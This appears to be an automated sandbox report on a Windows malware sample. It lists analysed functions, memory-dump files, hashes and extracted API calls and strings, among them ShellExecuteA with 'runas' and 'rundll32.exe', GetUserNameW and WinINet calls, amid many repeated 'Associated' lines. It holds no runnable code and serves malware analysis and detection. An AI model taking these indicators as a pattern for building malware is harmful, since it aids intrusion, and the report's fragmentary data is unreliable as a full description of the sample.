Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Heap$Process$AllocateFree$NameUser
String ID:
API String ID: 3830529808-0
Opcode ID: e2f0bebf5074a4603776212d92725776d3d6a36c55bb9e8b04d0f2cb4e64d88c
Instruction ID: 08db3c436369eaf7a9cfdccf2f7cd375fd517444325ca4fdc02d011e82a85f34
Opcode Fuzzy Hash: e2f0bebf5074a4603776212d92725776d3d6a36c55bb9e8b04d0f2cb4e64d88c
Instruction Fuzzy Hash: A7518275D0021AABDB119FA4DC88FAFBBBCEF44210F100565ED05A3240DB749A049BA0

Uniqueness

Uniqueness Score: -1.00%

Function 01252A20, Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 295COMMON

Download Yara Rule

APIs

ShellExecuteA.SHELL32(00000000,?,?,?,00000000,00000000,0127CD15,00000005,?,?,012573C2,0127CD4C,00000001,01281160), ref: 01252A8D

Strings

runas, xrefs: 01252A4F
rundll32.exe, xrefs: 01252C7C

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: ExecuteShell
String ID: runas$rundll32.exe
API String ID: 587946157-4081450877
Opcode ID: 5fa854bb65030ea10db209d9fe26cab426ca1cf82a35c30b4ec49b10c3e3cd2b
Instruction ID: ea386c406fbd1f577943fb4b4d16cd41a761ede8d3a242259714e45402523e42
Opcode Fuzzy Hash: 5fa854bb65030ea10db209d9fe26cab426ca1cf82a35c30b4ec49b10c3e3cd2b
Instruction Fuzzy Hash: 03A1167162010AEBEB48DF28CDC5BAE7B6AEF95300F548118FC149B2C5E735DA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 0125FCF9, Relevance: .2, Instructions: 172COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 01251CAE

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: ___std_exception_copy
String ID:
API String ID: 2659868963-0
Opcode ID: f0ede686d81234fa19852909d9e7ff0aed42f9905bc885b2fcca59f4c5270a59
Instruction ID: 9f82349c45e970c89b18983ef45fe112393d7e24f7e1773e3236d2e278e05aa2
Opcode Fuzzy Hash: f0ede686d81234fa19852909d9e7ff0aed42f9905bc885b2fcca59f4c5270a59
Instruction Fuzzy Hash: B651D8B19213068FEB25CF58E5C57AEBBF4FB44311F14846AEA05EB2C4E3709991CB54

Uniqueness

Uniqueness Score: -1.00%

Function 01255F80, Relevance: 20.0, APIs: 9, Strings: 2, Instructions: 789COMMON

Download Yara Rule

Strings

]c@m, xrefs: 01256345
(, xrefs: 01256604

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID:
String ID: ($]c@m
API String ID: 0-3740295130
Opcode ID: ce24818adfc2941134f5b9e7a722a939392a2783e06ff48576cbbb394ed4bc3d
Instruction ID: def71fcba30759d6ad8234e7461e5160d91e5cca48772aa4ca328bcb734ccbd3
Opcode Fuzzy Hash: ce24818adfc2941134f5b9e7a722a939392a2783e06ff48576cbbb394ed4bc3d
Instruction Fuzzy Hash: 25525971A201059BEB28DF68CDC8BEEBB76EF55300F548298E905A73D5D7349A84CF60

Uniqueness

Uniqueness Score: -1.00%

Function 0125AE40, Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 149sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 01252430: InternetCloseHandle.WININET(00000000), ref: 0125250B
Part of subcall function 01252430: InternetCloseHandle.WININET(00000000), ref: 0125250E

Sleep.KERNEL32(00001388), ref: 0125AE6F

Strings

:::, xrefs: 01259729, 0125979D
152138533219, xrefs: 0125934B, 012593F5, 0125A8E3, 0125AAF7, 0125AEA5
invalid stoi argument, xrefs: 012596B8, 012596E0, 0125ADFD, 0125AE25
stoi argument out of range, xrefs: 012596EA, 0125AE2F

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: CloseHandleInternet$Sleep
String ID: 152138533219$:::$invalid stoi argument$stoi argument out of range
API String ID: 587253650-2973408965
Opcode ID: 3ffdeecb0285672d357d4a0a93709295a766647ccd37cd5def9d4cb5b5eb208b
Instruction ID: fb39d1dad6e886cedd7781e52cbcdf89449c4d084c690dd0864ddb026c505816
Opcode Fuzzy Hash: 3ffdeecb0285672d357d4a0a93709295a766647ccd37cd5def9d4cb5b5eb208b
Instruction Fuzzy Hash: 6E4114726201056BDB48BE3CCDCA76D7E1AAB92364F504758FC05873C5EA36CA9447D2

Uniqueness

Uniqueness Score: -1.00%

Function 0125C0A0, Relevance: 7.4, APIs: 1, Strings: 2, Instructions: 2128COMMON

Download Yara Rule

APIs

Part of subcall function 01251DA0: GetUserNameW.ADVAPI32(00000000,?), ref: 01251DCA
Part of subcall function 01251DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 01251DDF
Part of subcall function 01251DA0: RtlAllocateHeap.NTDLL(00000000), ref: 01251DE2
Part of subcall function 01251DA0: GetUserNameW.ADVAPI32(00000000,?), ref: 01251DF0
Part of subcall function 01251DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 01251E1E
Part of subcall function 01251DA0: RtlAllocateHeap.NTDLL(00000000), ref: 01251E21
Part of subcall function 01251DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 01251E31
Part of subcall function 01251DA0: RtlAllocateHeap.NTDLL(00000000), ref: 01251E34

GetUserNameW.ADVAPI32(?,00000100), ref: 0125CB92

Part of subcall function 0125EBB0: Concurrency::cancel_current_task.LIBCPMT ref: 0125EC64

Strings

7b6145, xrefs: 0125CED8
152138533219, xrefs: 0125CD57

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: Heap$AllocateNameProcessUser$Concurrency::cancel_current_task
String ID: 152138533219$7b6145
API String ID: 1471344708-2205202256
Opcode ID: 1e88e2cb67c3d786fd71f6ab89a8513f380c83e8d9f795d4ed180b3e66f33ac4
Instruction ID: 6c4e57731efaec661ceb6e798a15178403b3d95f6ee84deb151dae1d6c92a77b
Opcode Fuzzy Hash: 1e88e2cb67c3d786fd71f6ab89a8513f380c83e8d9f795d4ed180b3e66f33ac4
Instruction Fuzzy Hash: 8CF27C71A202054BDB5CDB28CCC47AEBB7AAF91314F14869CE809973D5EB359AC4CB91

Uniqueness

Uniqueness Score: -1.00%

Function 01255D50, Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 188COMMON

Download Yara Rule

APIs

__fread_nolock.LIBCMT ref: 01255E9F

Strings

jjjj, xrefs: 012569BB
jjj, xrefs: 012569D6
jjh, xrefs: 012569A4

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944197325.000000000142C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944209577.000000000142E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944223198.0000000001430000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944259364.000000000143D000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944275635.0000000001447000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944289674.0000000001449000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944305770.000000000144E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944318489.0000000001450000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944343623.0000000001452000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944355599.0000000001454000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944372185.0000000001458000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944385917.000000000145A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944407165.000000000145C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944424594.000000000146A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944456168.0000000001472000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944470656.0000000001474000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944482979.0000000001476000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944498650.0000000001478000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944511282.000000000147A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944526676.000000000147C000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944539968.000000000147E000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944580946.00000000014A7000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944600669.00000000014AE000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944873864.0000000001672000.00000020.00020000.sdmp Download File

Similarity

API ID: __fread_nolock
String ID: jjh$jjj$jjjj
API String ID: 2638373210-3331015499
Opcode ID: fbc125da4f20a6c31e0d7a5987f30e2e59b10c1e6fa773bee0f655bf3c205e00
Instruction ID: d9af9435ade5912c48a31975b6b94c155b08a503ec8939b19a33674696423fc4
Opcode Fuzzy Hash: fbc125da4f20a6c31e0d7a5987f30e2e59b10c1e6fa773bee0f655bf3c205e00
Instruction Fuzzy Hash: 3C512771A30106ABEB08EB78CCC5BAE7A69EF66310F448558FD04972D1E735D6D0C7A1

Uniqueness

Uniqueness Score: -1.00%

Function 0125CA50, Relevance: 6.6, APIs: 1, Strings: 2, Instructions: 1365COMMON

Download Yara Rule

APIs

Part of subcall function 01251DA0: GetUserNameW.ADVAPI32(00000000,?), ref: 01251DCA
Part of subcall function 01251DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 01251DDF
Part of subcall function 01251DA0: RtlAllocateHeap.NTDLL(00000000), ref: 01251DE2
Part of subcall function 01251DA0: GetUserNameW.ADVAPI32(00000000,?), ref: 01251DF0
Part of subcall function 01251DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 01251E1E
Part of subcall function 01251DA0: RtlAllocateHeap.NTDLL(00000000), ref: 01251E21
Part of subcall function 01251DA0: GetProcessHeap.KERNEL32(00000008,?), ref: 01251E31
Part of subcall function 01251DA0: RtlAllocateHeap.NTDLL(00000000), ref: 01251E34

GetUserNameW.ADVAPI32(?,00000100), ref: 0125CB92

Part of subcall function 0125EBB0: Concurrency::cancel_current_task.LIBCPMT ref: 0125EC64

Strings

7b6145, xrefs: 0125CED8
152138533219, xrefs: 0125CD57

Memory Dump Source

Source File: 00000003.00000002.943799563.0000000001251000.00000020.00020000.sdmp, Offset: 01250000, based on PE: true

Associated: 00000003.00000002.943789512.0000000001250000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943825611.0000000001277000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.943839345.0000000001280000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943854454.0000000001283000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943875599.0000000001285000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943891078.0000000001288000.00000004.00020000.sdmp Download File
Associated: 00000003.00000002.943904070.0000000001289000.00000002.00020000.sdmp Download File
Associated: 00000003.00000002.943917656.000000000128A000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944130647.0000000001420000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944141105.0000000001422000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944154999.0000000001426000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944165392.0000000001428000.00000040.00020000.sdmp Download File
Associated: 00000003.00000002.944179801.000000000142A000.00000040.00020000.sdmp Download File
